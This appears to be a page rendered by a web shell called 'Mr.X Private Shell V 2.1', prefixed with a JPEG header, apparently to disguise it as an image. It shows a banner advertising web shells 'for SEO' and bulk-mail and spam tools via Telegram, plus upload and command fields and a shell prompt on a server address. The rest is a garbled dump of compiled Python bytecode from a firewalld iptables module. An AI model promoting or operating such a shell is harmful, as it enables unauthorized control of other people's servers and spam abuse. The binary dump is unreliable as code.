����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

deexcl@216.73.217.71: ~ $ 
a

��i��@sDddlZddlZddlmZddlmZddlmZm	Z	m
Z
mZmZm
Z
mZmZddlmZddlmZmZmZmZmZmZddlmZmZmZmZmZmZm Z m!Z!m"Z"ddl#m$Z$dd	l%m&Z&m'Z'ddl(Z(d
Z)gd�dd
ggd�gd�gd�d�Z*ddd�Z+ddd�Z,dd�Z-dd�Z.dd�Z/Gdd�de0�Z1Gdd�de1�Z2dS) �N)�runProg)�log)�tempFile�readfile�	splitArgs�	check_mac�portStr�check_single_address�
check_address�normalizeIP6)�config)�
FirewallError�INVALID_PASSTHROUGH�INVALID_RULE�
UNKNOWN_ERROR�INVALID_ADDR�INVALID_ICMPTYPE)	�Rich_Accept�Rich_Reject�	Rich_Drop�	Rich_Mark�
Rich_NFLog�Rich_Masquerade�Rich_ForwardPort�Rich_IcmpBlock�Rich_Tcp_Mss_Clamp)�DEFAULT_ZONE_TARGET)�
ICMP_TYPES�ICMPV6_TYPES�)�INPUT�OUTPUT�FORWARD�
PREROUTINGr!)r#�POSTROUTINGr r!r")r#r$r!)�security�raw�mangle�nat�filterzicmp-host-prohibitedzicmp6-adm-prohibited��ipv4�ipv6�icmp�	ipv6-icmpc	Cs�ddddddd�}|dd�}|D]t}z|�|�}WntyJYq"Yn0|dvr�zt||d�WntyzYn0|�|d�||||<q"|S)	z Inverse valid rule �-D�--delete�-X�--delete-chain��-A�--append�-I�--insert�-Nz--new-chainN�r6r7�)�index�	Exception�int�pop)�args�replace_args�ret_args�arg�idx�rD�;/usr/lib/python3.9/site-packages/firewall/core/ipXtables.py�common_reverse_rule<s*�
rFc	Cs�ddddddd�}|dd�}|D]z}z|�|�}WntyJYq"Yn0|dvr�zt||d�WntyzYn0|�|d�||||<|Sttd	��dS)
z Reverse valid passthough rule r/r0r1r2r3Nr9r:�no '-A', '-I' or '-N' arg)r;�
ValueErrorr=r>r
r)r?r@rA�xrCrDrDrE�common_reverse_passthroughas0�
�rJcCsht|�}tgd��}t||@�dkr>ttdt||@�d��tgd��}t||@�dkrdttd��dS)zZ Check if passthough rule is valid (only add, insert and new chain
    rules are allowed) )z-Cz--checkr/r0z-Rz	--replace�-Lz--listz-Sz--list-rules�-Fz--flush�-Zz--zeror1r2�-Pz--policyz-Ez--rename-chainrzarg '%s' is not allowedr3rGN)�set�lenr
r�list)r?Znot_allowedZneededrDrDrE�common_check_passthrough�s���rRc@s�eZdZdZdZdZdd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zdld"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zdmd,d-�Zd.d/�Zdnd1d2�Zd3d4�Zd5d6�Zdod8d9�Zdpd:d;�Z d<d=�Z!d>d?�Z"d@dA�Z#dBdC�Z$dDdE�Z%dFdG�Z&dHdI�Z'dJdK�Z(dLdM�Z)dNdO�Z*dPdQ�Z+dqdRdS�Z,drdTdU�Z-dsdVdW�Z.dtdXdY�Z/dZd[�Z0dud\d]�Z1dvd^d_�Z2dwd`da�Z3dbdc�Z4dxddde�Z5dfdg�Z6dhdi�Z7djdk�Z8d!S)y�	ip4tablesr+TcCsd||_tj|j|_tjd|j|_|��|_|��|_	|�
�g|_i|_i|_
g|_i|_dS)Nz
%s-restore)�_fwrZCOMMANDS�ipv�_command�_restore_command�_detect_wait_option�wait_option�_detect_restore_wait_option�restore_wait_option�fill_exists�available_tables�rich_rule_priority_counts�policy_priority_counts�zone_source_index_cache�
our_chains)�self�fwrDrDrE�__init__�s

zip4tables.__init__cCs$tj�|j�|_tj�|j�|_dS�N)�os�path�existsrVZcommand_existsrWZrestore_command_exists�rbrDrDrEr\�szip4tables.fill_existscCs�|jr(|j|vr(|jgdd�|D�}ndd�|D�}t�d|j|jd�|��t|j|�\}}|dkr�td|jd�|�|f��|S)NcSsg|]}d|�qS��%srD��.0�itemrDrDrE�
<listcomp>��z#ip4tables.__run.<locals>.<listcomp>cSsg|]}d|�qSrjrDrlrDrDrEro�rp�	%s: %s %s� r�'%s %s' failed: %s)rYr�debug2�	__class__rV�joinrrH)rbr?�_args�status�retrDrDrEZ__run�s
�zip4tables.__runcCs<z|�|�}Wnty"YdS0||||d�<dSdS)NF�T)r;rH)rb�rule�patternZreplacement�irDrDrE�
_rule_replace�szip4tables._rule_replacecCs|tvo|t|vSre)�BUILT_IN_CHAINS)rbrU�table�chainrDrDrE�is_chain_builtin�s
�zip4tables.is_chain_builtincCs2d|g}|r|�d�n
|�d�|�|�|gS)N�-tr8r1)�append)rb�addr�r�r{rDrDrE�build_chain_rules�s

zip4tables.build_chain_rulescCs8d|g}|r |d|t|�g7}n|d|g7}||7}|S)Nr�r6r/)�str)rbr�r�r�r;r?r{rDrDrE�
build_rule�szip4tables.build_rulecCst|�Sre)rF�rbr?rDrDrE�reverse_rule�szip4tables.reverse_rulecCst|�dSre)rRr�rDrDrE�check_passthrough�szip4tables.check_passthroughcCst|�Sre)rJr�rDrDrE�reverse_passthrough�szip4tables.reverse_passthroughc	Cs�d}z|�d�}Wnty$Yn0t|�|dkrB||d}d}dD]B}z|�|�}WntynYqJ0t|�|dkrJ||d}qJ||fS)Nr)r�rzr3)r;rHrP)rbr?r�r}r��optrDrDrE�passthrough_parse_table_chain�s z'ip4tables.passthrough_parse_table_chaincCs zH|�d�}|�|�|�|�}d|dkr:||df}n||df}WnFty�z|�d�}|�|�d}Wnty�YYdS0Yn0d}|dd	vr�d
}|r�|s�||vr�|�|�n\|�r|r�||vr�|�|�|jdd�d
�|�|�}nt|�}d|d<|�dd|d�dS)N�%%ZONE_SOURCE%%�-m����%%ZONE_INTERFACE%%Tr�r/r0FcSs|dS)NrrD)rIrDrDrE�<lambda>)rpz4ip4tables._run_replace_zone_source.<locals>.<lambda>)�keyr6r:�%drz)r;r>rH�remover��sortrP�insert)rbr{r`r}�zoneZzone_source�rule_addr;rDrDrE�_run_replace_zone_sources:





z"ip4tables._run_replace_zone_sourcec	Csz|�|�}Wnty"Y�n�0d}d}d}|�|�|�|�}t|�tkrZttd��d}	dD]B}
z|�|
�}Wnty�Yqb0t|�|dkrb||d}	qbdD]Z}
z|�|
�}Wnty�Yq�0t|�|dkr�||d}|
d	vr�d}|
d
vr�d}q�|	|f}|�s^||v�s>|||v�s>|||dk�rHttd��|||d8<n�||v�rpi||<|||v�r�d|||<d}
t	||�
��D]<}||k�r�|�r��q�|
|||7}
||k�r��qܐq�|||d7<d
||<|�|dd|
�dS)a
        Change something like
          -t filter -I public_IN %%RICH_RULE_PRIORITY%% 123
        or
          -t filter -A public_IN %%RICH_RULE_PRIORITY%% 321
        into
          -t filter -I public_IN 4
        or
          -t filter -I public_IN
        TF���z%priority must be followed by a numberr)�r�z--tablerz)r4r5r6r7r/r0r9r�rz*nonexistent or underflow of priority countr6r:r�N)r;rHr>�typer=r
rrPr�sorted�keysr�)rbr{Zpriority_counts�tokenr}r�r�Zinsert_add_index�priorityr�r��jr�r;�prDrDrE�_set_rule_replace_priority2sj




��



z$ip4tables._set_rule_replace_priorityc
Cst�}i}t�|j�}t�|j�}t�|j�}|D�]x}|dd�}	|�|	dddt|jg�|�|	dt	|jg�z|	�
d�}
Wnty�Yn80|dkr�q2|dvr�dd	d
|g|	|
|
d�<n
|	�|
�|�
|	|d�|�
|	|d
�|�|	|�d}dD]L}z|	�
|�}
Wnt�y"Yq�0t|	�|
dkr�|	�|
�|	�|
�}q�t|	�D]F\}
}
tjD]4}||
v�r`|
�d��r�|
�d��s`d|
|	|
<�q`�qR|�|g��|	�q2|D]F}||}|�d|�|D]}	|�d�|	�d��q�|�d��q�|��t�|j�}t�d|j|j d|j|j!f�g}|j"�rF|�|j"�|�d�t#|j ||jd�\}}t�$�dk�r�t%|j�}|du�r�d}
|D]@}tj&d|
|fddd�|�d��s�tj&ddd�|
d7}
�q�t�'|j�|dk�rtd |j d�|�|f��||_||_||_dS)!N�
%%REJECT%%�REJECT�
--reject-with�%%ICMP%%�%%LOGTYPE%%�off��unicast�	broadcastZ	multicastr��pkttype�
--pkt-typerz�%%RICH_RULE_PRIORITY%%�%%POLICY_PRIORITY%%r)r��"z"%s"z*%s
rr�
zCOMMIT
rqz%s: %d�-n��stdinr:z%8d: %sr)�nofmt�nlr)r�rs)(r�copy�deepcopyr^r_r`r~�DEFAULT_REJECT_TYPErU�ICMPr;rHr>r�r�rP�	enumerate�stringZ
whitespace�
startswith�endswith�
setdefaultr��writerv�closerf�stat�namerrtrurW�st_sizer[rZgetDebugLogLevelr�debug3�unlink)rb�rules�
log_denied�	temp_fileZtable_rulesr^r_r`Z_ruler{r}r�r��element�cr�r?rxry�lines�linerDrDrE�	set_rules�s�
�


��
�




�zip4tables.set_rulescCs�|�|dddt|jg�|�|dt|jg�z|�d�}WntyPYn:0|dkr^dS|dvr�d	d
d|g|||d�<n
|�|�t�|j	�}t�|j
�}t�|j�}|�||d
�|�||d�|�
||�|�|�}||_	||_
||_|S)Nr�r�r�r�r�r�rr�r�r�r�rzr�r�)r~r�rUr�r;rHr>r�r�r^r_r`r�r��_ip4tables__run)rbr{r�r}r^r_r`�outputrDrDrE�set_rule�s0�

zip4tables.set_ruleNc	Cs�g}|r|gnt��}|D]n}||jvr4|�|�qz,|�d|ddg�|j�|�|�|�Wqty�t�d|j|f�Yq0q|S)Nr�rKr�zA%s table '%s' does not exist (or not enough permission to check).)	rr�r]r�r�rHrZdebug1rU)rbr�ryZtablesrDrDrE�get_available_tabless
zip4tables.get_available_tablesc	Cs�d}t|jgd��}t�d|j|jd|d|d�|ddkr�d}t|jgd��}t�d|j|jd|d|d�|ddkr�d}t�d	|j|j|�|S)
Nr)�-wrKr��7%s: %s: probe for wait option (%s): ret=%u, output="%s"r�rrz)�-w10rKr�r��%s: %s will be using %s option.)rrVrr�rurt)rbrYryrDrDrErXs  zip4tables._detect_wait_optionc
Cs�t�}|�d�|��d}dD]d}t|j|g|jd�}t�d|j|j	||d|d�|ddkr d|dvr d	|dvr |}q�q t�
d
|j|j|�t�|j�|S)Nz#foor)r�z--wait=2r�r�rrzzinvalid optionzunrecognized optionr�)
rr�r�rrWr�rr�rurVrtrfr�)rbr�rYZtest_optionryrDrDrErZ$s
 
�z%ip4tables._detect_restore_wait_optioncCsNi|_i|_g|_g}t��D]*}|�|�s.qdD]}|�d||g�q2q|S)N)rLr1rMr�)r^r_r`rr�r�r�)rbr�r��flagrDrDrE�build_flush_rules8s
zip4tables.build_flush_rulesc
Cs�g}|dkrdn|}t��D]t}|�|�s,q|dkr6qt|D]P}|dkrv||}|dkrz|�d|d|ddg�d}n|}|�d|d	||g�q>q|S)
NZPANIC�DROPr(r)r�r�r4�-jrN)rr�r�r�)rb�policyZpolicy_detailsr��_policyr�r�r�rDrDrE�build_set_policy_rulesGs 
z ip4tables.build_set_policy_rulescCsNt�}|dus|jdkr&|�t���|dus8|jdkrF|�t���t|�S)Nr+r,)rOrU�updaterr�rrQ)rbrUZ	supportedrDrDrE�supported_icmp_typesZszip4tables.supported_icmp_typescCsgSrerDrirDrDrE�build_default_tablesdszip4tables.build_default_tablesr�cCs�i}|�d�rlg|d<t�|jd<tdD]@}|d�d|�|d�d||f�|jd�d|�q*|�d��r@g|d<t�|jd<tdD]�}|d�d|�|d�d||f�|jd�d|�|dkr�dD]8}|d�d||f�|jd�td	||fg��q�d
D]}|d�d|||f��qq�|�d��rg|d<t�|jd<tdD]�}|d�d|�|d�d||f�|jd�d|�|dk�rhdD]:}|d�d||f�|jd�td	||fg���q�d
D]}|d�d|||f��q��qh|�d
��rPg|d
<t�|jd
<td
D�]
}|d
�d|�|d
�d||f�|jd
�d|�|dv�r�dD]R}|d
�d||f�|jd
�td	||fg��|d
�d|||f��q�nddD]:}|d
�d||f�|jd
�td	||fg���q�d
D]}|d
�d|||f��q,�qBg|d<t�|jd<|d�d�|d�d�|dk�r�|d�d�|d�d�|d�d�|d�d�|jd�td��dD]0}|d�d|�|jd�td|���q�d
D]}|d�d|��q|dk�rB|d�d�|d�d�|d�d�|d�d�|dk�r�|d�d �|d�d!�|d�d"�|d�d#�|jd�td$��d%D]0}|d�d&|�|jd�td'|���q�d
D]B}|d�d&|�|d�d(|�|jd�td'|���q�d)D]0}|d�d&|�|jd�td'|���qD|dk�r�|d�d*�|d�d+�|dgd,�7<|jd�td-��d%D]B}|d�d.|�|d�d/|�|jd�td0|���q�d)D]B}|d�d.|�|d�d/|�|jd�td0|���qg}|D]>}||��v�rr�q\||D]}|�d1|gt|���qz�q\|S)2Nr%z-N %s_directz-A %s -j %s_directz	%s_directr&r#)�POLICIES_pre�ZONES�
POLICIES_postz-N %s_%s�%s_%s)r�z-A %s -j %s_%sr'r()r!)r�r�r)zB-A INPUT -m conntrack --ctstate RELATED,ESTABLISHED,DNAT -j ACCEPTz-A INPUT -i lo -j ACCEPTr�z^-A INPUT -m conntrack --ctstate INVALID %%LOGTYPE%% -j LOG --log-prefix 'STATE_INVALID_DROP: 'z/-A INPUT -m conntrack --ctstate INVALID -j DROPz-N INPUT_directz-A INPUT -j INPUT_directZINPUT_directz-N INPUT_%szINPUT_%sz-A INPUT -j INPUT_%sz9-A INPUT %%LOGTYPE%% -j LOG --log-prefix 'FINAL_REJECT: 'z-A INPUT -j %%REJECT%%zD-A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED,DNAT -j ACCEPTz-A FORWARD -i lo -j ACCEPTz`-A FORWARD -m conntrack --ctstate INVALID %%LOGTYPE%% -j LOG --log-prefix 'STATE_INVALID_DROP: 'z1-A FORWARD -m conntrack --ctstate INVALID -j DROPz-N FORWARD_directz-A FORWARD -j FORWARD_directZFORWARD_direct)r�z
-N FORWARD_%sz
FORWARD_%sz-A FORWARD -j FORWARD_%s)r�z;-A FORWARD %%LOGTYPE%% -j LOG --log-prefix 'FINAL_REJECT: 'z-A FORWARD -j %%REJECT%%)z-N OUTPUT_directz>-A OUTPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPTz-A OUTPUT -o lo -j ACCEPTz-A OUTPUT -j OUTPUT_directZ
OUTPUT_directz-N OUTPUT_%sz-A OUTPUT -j OUTPUT_%sz	OUTPUT_%sr�)r�rOrarr�r�r�r)rbr�Z
default_rulesr�Zdispatch_suffixZfinal_default_rulesr�r{rDrDrE�build_default_ruleshs�
 
" 
" 



zip4tables.build_default_rulescCsd|dkrddhS|dkr*d|��vr*dhS|dkrFd|��vrFddhS|dkr`d|��vr`dhSiS)	Nr)r r"r'r#r(r$r&)r�)rbr�rDrDrE�get_zone_table_chains�szip4tables.get_zone_table_chainsc	s�|jj�|���jdkrdnd��dkr4�dkr4dnd}	|jj�|�t|	��g}
g}|D]}|
�d|g�qX|D]}|�d	|g�qp|D]8}
|jj�|
�}|d
vr�|�	|�s�q�|
�|�
d|
��q�|D]J}
|jj�|
�}|d
vr�|�	|�s�q�t|
�r��dvr�q�|�|�
d
|
��qƇ�����fdd�}g}|
�r||
D]B}|�r^|D]}|�|||���qDn|�rfn|�||d���q6nD|�r�n<|�r�|D]}|�|d|���q�n|�r�n|�|dd��|S)Nr�pre�postr(r$TF�-i�-or*�-s�r$r"r!�-dcsVddd��}d�|d��fd�jg}|r6|�|�|rD|�|�|�d�g�|S)Nr4r/�TFr�z%s_POLICIES_%sr�r�)r��extend)�ingress_fragment�egress_fragment�add_delr{�r�r��chain_suffix�enable�p_objr�rDrE�_generate_policy_dispatch_rules�

zSip4tables.build_policy_ingress_egress_rules.<locals>._generate_policy_dispatch_rule)rTr��
get_policyr��policy_base_chain_name�POLICY_CHAIN_PREFIXr�r��check_source�is_ipv_supported�_rule_addr_fragmentr)rbr�r�r�r�Zingress_interfacesZegress_interfacesZingress_sourcesZegress_sources�isSNATZingress_fragmentsZegress_fragments�	interface�addrrUr�r�r�r�rDr�rE�!build_policy_ingress_egress_rules�sRz+ip4tables.build_policy_ingress_egress_rulesFc
Cs�|dkr|dkrdnd}|jjj||t|d�}	dddddd�|}
d	}|r^|s^d
d|dg}n,|rpd
d|g}ndd|g}|s�|dg7}|d||
|||	g7}|gS)Nr(r$TF�rr�r��r#r$r r"r!�-gr6�%s_ZONESr�r4r/r�)rTr�r�r)
rbr�r�r�rr�r�r�rr�r��actionr{rDrDrE�!build_zone_source_interface_rulesEs(��
z+ip4tables.build_zone_source_interface_rulescCs�|�d�rP|dd�}|dkr$d}nd}d�|g|jj�|��}ddd	||gSt|�rz|dkrjttd
��ddd|��gSt	d
|�r�t
|�}n,td
|�r�|�d�}t
|d�d|d}||gSdS)Nzipset:�r��dst�src�,r�rO�--match-setzCan't match a destination MAC.�mac�--mac-sourcer,�/rrz)
r�rvrT�ipsetZ
get_dimensionrr
r�upperr	rr
�split)rbr��address�invertr��flags�
addr_splitrDrDrEr^s"





zip4tables._rule_addr_fragmentcCs�ddd�|}|dkr"|dkr"dnd}|jjj||t|d�}	d	d
d	d	d
d�|}
t|�rd|dvrdgS|d
|d|d|g}|�|�|
|��|�d|	g�|gS)Nr6r/r�r(r$TFrr�r�r	r�rr�r�r
)rTr�r�rrr�r)rbr�r�r�rr�r�r�rr�r�r{rDrDrE�build_zone_source_address_rulests"��	z)ip4tables.build_zone_source_address_rulesc
Cs�ddd�|}ddd�|}|dkr0|dkr0dnd	}|jjj||t|d
�}|jj�|�}	|j|�t|d|d|d
|d|d|g��g}
|
�||d|g�|
�|d
|d|g�|
�|d|d|g�|
�|d|d|g�|
�|d|d|g�|
�|d|d|g�|	j	�r6|
�||d|dd|dfg�|
�||d|dd
|g�|
�||d|dd|g�|
�||d|dd|g�|
�||d|dd|g�|
�||d|dd|g�|	j	�r�|
�||d|dd|dfg�|jjj
|j}|j��dk�rb|dk�rb|t
ddfv�r8|
�||d|ddddd|g	�|dk�rb|
�||d|ddddd|g	�|dk�r�|t
ddddfv�r�|t
fv�r�d}n|}|
�||d|d|g�|�s�|
��|
S) Nr8r1r�r4r/r(r$TFrz%s_log�%s_denyz%s_prez%s_post�%s_allowr�r�r�r�r�r�r)r�r�r��LOG�--log-prefixz%s_REJECT: r�z	%s_DROP: �ACCEPT)rTr�r�rr�rar�rOr�Zderived_from_zoneZ	_policies�target�get_log_deniedr�reverse)
rbr�r�r�r�Z
add_del_chainZadd_del_rulerr�r�r�r#�_targetrDrDrE�build_policy_chain_rules�sf�
�
�
�z"ip4tables.build_policy_chain_rulescCs|rddd|jgSgS)Nr��limitz--limit)�value)rbr(rDrDrE�_rule_limit�szip4tables._rule_limitcCs�t|j�ttttfvrn<|jrJt|j�ttt	t
fvrTttdt|j���n
ttd��|j
dkr�t|j�tttfvs�t|j�tt
fvr�dSt|j�tfvs�t|j�tt	fvr�dSn|j
dkr�dSdSdS)N�Unknown action %szNo rule action specified.r�allowZdenyr�r�)r�r�rrrrrrrrrr
rr��rb�	rich_rulerDrDrE�_rich_rule_chain_suffix�s$

��
z!ip4tables._rich_rule_chain_suffixcCs:|js|jsttd��|jdkr$dS|jdkr2dSdSdS)NzNot log or auditrrr�r�)r�auditr
rr�r-rDrDrE� _rich_rule_chain_suffix_from_log�s


z*ip4tables._rich_rule_chain_suffix_from_logcCs|jdkrgSd|jgS)Nrr�)r�r-rDrDrE�_rich_rule_priority_fragment�s
z&ip4tables._rich_rule_priority_fragmentc
Cs"|js
gS|jj�||t�}ddd�|}|�|�}d||d||fg}	|	|�|�7}	t|j�tkr�|	|ddg7}	|jj	r�|	d|jj	g7}	|jj
r�|	d	d
|jj
g7}	|jjr�|	d|jjg7}	nJ|	|ddg7}	|jj
r�|	d
d
|jj
g7}	|jj�r|	dd
|jjg7}	|	|�
|jj�7}	|	S)Nr4r/r�r�r�r�ZNFLOGz
--nflog-groupz--nflog-prefixrkz--nflog-thresholdr r!z--log-level)rrTr�r�rr1r2r�r�group�prefixZ	threshold�levelr*r()
rbr�r.r�r��
rule_fragmentr�r�r�r{rDrDrE�_rich_rule_log�s,

zip4tables._rich_rule_logcCs�|js
gSddd�|}|jj�||t�}|�|�}d||d||fg}	|	|�|�7}	|	|7}	t|j�t	krrd}
n,t|j�t
kr�d}
nt|j�tkr�d}
nd	}
|	d
dd|
g7}	|	|�|jj
�7}	|	S)
Nr4r/r�r�r�ZacceptZrejectZdrop�unknownr�ZAUDITz--type)r0rTr�r�rr1r2r�rrrrr*r()rbr�r.r�r�r6r�r�r�r{�_typerDrDrE�_rich_rule_audit
s$
zip4tables._rich_rule_auditcCs2|js
gSddd�|}|jj�||t�}|�|�}d||f}	t|j�tkrXddg}
n�t|j�tkr�ddg}
|jjr�|
d|jjg7}
nnt|j�t	kr�dd	g}
nVt|j�t
kr�d
}|jj�||t�}d||f}	ddd|jjg}
ntt
d
t|j���d|||	g}||�|�7}|||
7}||�|jj�7}|S)Nr4r/r�r�r�r"r�r�r�r'�MARKz--set-xmarkr+r�)rrTr�r�rr/r�rrrrrOr
rr2r*r()rbr�r.r�r�r6r�r�r�r�Zrule_actionr{rDrDrE�_rich_rule_action&s6


�zip4tables._rich_rule_actioncCs�|sgSg}|jr�|jr"|�d�td|j�rB|dt|j�g7}q�td|j�r||j�d�}|dt|d�d|dg7}q�|d|jg7}nD|jr�|ddg7}|jr�|�d�|jj	�
|jd	�}|d
|j|g7}|S)N�!r,r�rrrzr�rOrr)rrr�r	rr
rrrTr��_ipset_match_flags)rbZ	rich_destr6rrrDrDrE�_rich_rule_destination_fragmentHs&
"
z)ip4tables._rich_rule_destination_fragmentcCs|sgSg}|jr�|jr"|�d�td|j�rB|dt|j�g7}nHtd|j�r||j�d�}|dt|d�d|dg7}n|d|jg7}n�t|d�r�|jr�|ddg7}|jr�|�d�|d	|jg7}nRt|d
��r|j	�r|ddg7}|jr�|�d�|j
j�|j	d�}|d
|j	|g7}|S)Nr=r,r�rrrzrr�rrrOrr)
rrr�r	rr
r�hasattrrrrTr�r>)rbZrich_sourcer6rrrDrDrE�_rich_rule_source_fragment`s0
"

z$ip4tables._rich_rule_source_fragmentc	Cs�ddd�|}d}|jj�||t�}	d|g}
|rD|
ddt|�g7}
|rT|
d|g7}
|rx|
|�|j�7}
|
|�|j�7}
g}|r�|�	|�
|||||
��|�	|�|||||
��|�	|�|||||
��n"|�	|d	|	d
|g|
ddg�|S)
Nr4r/r�r)�-p�--dportrkr�rr�r�r"�
rTr�r�rrr?�destinationrA�sourcer�r7r:r<�rbr�r��proto�portrEr.r�r�r�r6r�rDrDrE�build_policy_ports_rules}s,��z"ip4tables.build_policy_ports_rulesc	Cs�ddd�|}d}|jj�||t�}d|g}	|r<|	d|g7}	|r`|	|�|j�7}	|	|�|j�7}	g}
|r�|
�|�	|||||	��|
�|�
|||||	��|
�|�|||||	��n"|
�|d|d|g|	d	d
g�|
S)Nr4r/r�r)rBr�rr�r�r")rTr�r�rr?rErArFr�r7r:r<)rbr�r��protocolrEr.r�r�r�r6r�rDrDrE�build_policy_protocol_rules�s(��z%ip4tables.build_policy_protocol_rulescCs�d}d}|jj�||t�}ddd�|}	gd�}
|rl|�|�}|
|�|�7}
|
|�|j�7}
|
|�|j	�7}
|dks||dur�|
gd�7}
n|
d	d
d|g7}
dd|	d
||fg|
gS)Nr,r)r4r/r�)rBZtcpz--tcp-flagszSYN,RSTZSYNZpmtu)r��TCPMSSz--clamp-mss-to-pmtur�rMz	--set-mssr�r�)
rTr�r�rr/r2r?rErArF)rbr�r�Ztcp_mss_clamp_valuerEr.r�r�r�r�r6rDrDrE� build_policy_tcp_mss_clamp_rules�s
z*ip4tables.build_policy_tcp_mss_clamp_rulesc	Cs�ddd�|}d}|jj�||t�}	d|g}
|rD|
ddt|�g7}
|rT|
d|g7}
|rx|
|�|j�7}
|
|�|j�7}
g}|r�|�	|�
|||||
��|�	|�|||||
��|�	|�|||||
��n"|�	|d	|	d
|g|
ddg�|S)
Nr4r/r�r)rBz--sportrkr�rr�r�r"rDrGrDrDrE�build_policy_source_ports_rules�s,��z)ip4tables.build_policy_source_ports_rulescCsvd}|jj�||t�}	ddd�|}
|
d|	ddd|g}|rP|dd	t|�g7}|r`|d
|g7}|ddd
|g7}|gS)Nr&r4r/r�rr�rBrCrkr�r�ZCTz--helper)rTr�r�rr)rbr�r�rHrIrEZhelper_nameZmodule_short_namer�r�r�r{rDrDrE�build_policy_helper_ports_rules�sz)ip4tables.build_policy_helper_ports_rulesc

Cs�ddd�|}|jj�||t�}g}	|rH|	�dd|d|d|dd	g�n6t|�rTgS|	�dd|d|g|�d
|�dd	g�|	S)Nr4r/r�r�r)rr�r�r"r�)rTr�r�rr�rr)
rbr�r�r�r�rrFr�r�r�rDrDrE�build_zone_forward_rules�s�
��z"ip4tables.build_zone_forward_rulesc
Cs�d}|jjj||tdd�}ddd�|}g}|rj|�|�}||�|�7}||�|j�7}||�|j	�7}nd}g}	|	�
dd|d	||fg|gd
��|	S)Nr(Trr4r/r�r,r�r�)r=r��lor�Z
MASQUERADE)rTr�r�rr/r2r?rErArFr�)
rbr�r�r.r�r�r�r6r�r�rDrDrE�build_policy_masquerade_rules�s"
��z'ip4tables.build_policy_masquerade_rulescCs
d}|jj�||t�}	ddd�|}
d}|rPtd|�rH|dt|�7}n||7}|rn|dkrn|dt|d	�7}g}|r�|�|�}
|�|�}||�	|j
�7}||�|j�7}nd
}
g}|r�|�
|�|||d|��|�
dd|
d|	|
fg|d
|dt|�ddd|g�|S)Nr(r4r/r�rr,z[%s]z:%s�-r,r�r�rBrCr�ZDNATz--to-destination)rTr�r�rr	rrr/r2r?rErArFr�r7)rbr�r�rIrKZtoportZtoaddrr.r�r�r��tor6r�r�rDrDrE�build_policy_forward_port_ruless8


���z)ip4tables.build_policy_forward_port_rulescCs�|jdkrL|tvrLt|\}}}|r,t|�nt|�dt|�}ddd|gS|jdkr�|tvr�t|\}}}|rxt|�nt|�dt|�}ddd|gSttd	|�d
|j����dS)Nr+rr�r-z--icmp-typer,Zicmp6z
--icmpv6-typez
ICMP type z not supported by )rUrr�rr
rr�)rbZ	icmp_typer9�_codeZ
_omit_codeZ	_type_strrDrDrE�_icmp_types_fragment4s  �zip4tables._icmp_types_fragmentc	Cs�d}|jj�||t�}ddd�|}|jdkrDddg}|�|j�}	nddg}|�|j�}	g}
|jj�|�rxd	|}d
}nd|}d}g}
|r�|
|�|j	�7}
|
|�
|j�7}
|
||	7}
|�rL|
�|�
|||||
��|
�|�|||||
��|j�r|
�|�|||||
��n:|�|�}|
�d
||d||fg|�|�|
ddg�n`|j��dk�r�|d
k�r�|
�||d
|g|
ddddd|g�|
�||d
|g|
d|g�|
S)Nr)r4r/r�r+rBr-r.rr"rr�r�r�r�r�r�r r!�%s_ICMP_BLOCK: )rTr�r�rrUrXr��query_icmp_block_inversionr?rErArFr�r7r:rr<r/r2r$)rbr�r�Zictr.r�r�r�rH�matchr�Zfinal_chainZfinal_targetr6r�rDrDrE�build_policy_icmp_block_rulesBs\

��������z'ip4tables.build_policy_icmp_block_rulesc	Cs�d}|jj�||t�}g}d}|jj�|�r�d}|j��dkr�|rRd|t|�g}nd|g}|d|dd	d
ddd
d|g	}|�|�|d7}nd}|r�d|t|�g}nd|g}|d|dd	d|g}|�|�|S)Nr)�r�r�r6r/r�rBr�r�r�r r!rYrzr")rTr�r�rrZr$r�r�)	rbr�r�r�r�r�Zrule_idxZ
ibi_targetr{rDrDrE�'build_policy_icmp_block_inversion_rulesss0
�


z1ip4tables.build_policy_icmp_block_inversion_rulesc	Csxd}g}||�|j�7}||�|j�7}g}|�|�|||||��|�|�|||||��|�|�|||||��|S)Nr))r?rErArFr�r7r:r<)rbr�r�r.r�r6r�rDrDrE�*build_policy_rich_source_destination_rules�sz4ip4tables.build_policy_rich_source_destination_rulescCs
||jkSre)rU)rbrUrDrDrEr�szip4tables.is_ipv_supported)N)N)r�)F)F)NN)NN)NN)NN)NN)N)N)N)9�__name__�
__module__�__qualname__rUr�Zpolicies_supportedrdr\r�r~r�r�r�r�r�r�r�r�r�r�r�r�rXrZr�r�r�r�r�r�rr
rrr'r*r/r1r2r7r:r<r?rArJrLrNrOrPrQrSrVrXr\r^r_rrDrDrDrErS�st

			&Pa#



N�

9"


�


�
"
1"rSc@s&eZdZdZdZddd�Zdd�ZdS)	�	ip6tablesr,FcCs~g}gd�}|jjdkr"|dg7}|�gd�|ddg�|dkr^|�gd�|gd��|�gd	��|�gd
��|S)N)r�Zrpfilterz--invertz--validmarkZloosez--loose)r6r#r�r'r�r�r�)r�r r!zrpfilter_DROP: )	r6r#r�r'rBr.z$--icmpv6-type=neighbour-solicitationr�r")	r6r#r�r'rBr.z"--icmpv6-type=router-advertisementr�r")rTZ_ipv6_rpfilterr�)rbr�r�Zrpfilter_fragmentrDrDrE�build_rpfilter_rules�s$

��
��zip6tables.build_rpfilter_rulesc
Cs�gd�}d}|jd�|�g}|�ddd|g�|D]L}|�ddd|d|dd	d
dg
�|jjdvr6|�ddd|d|dd
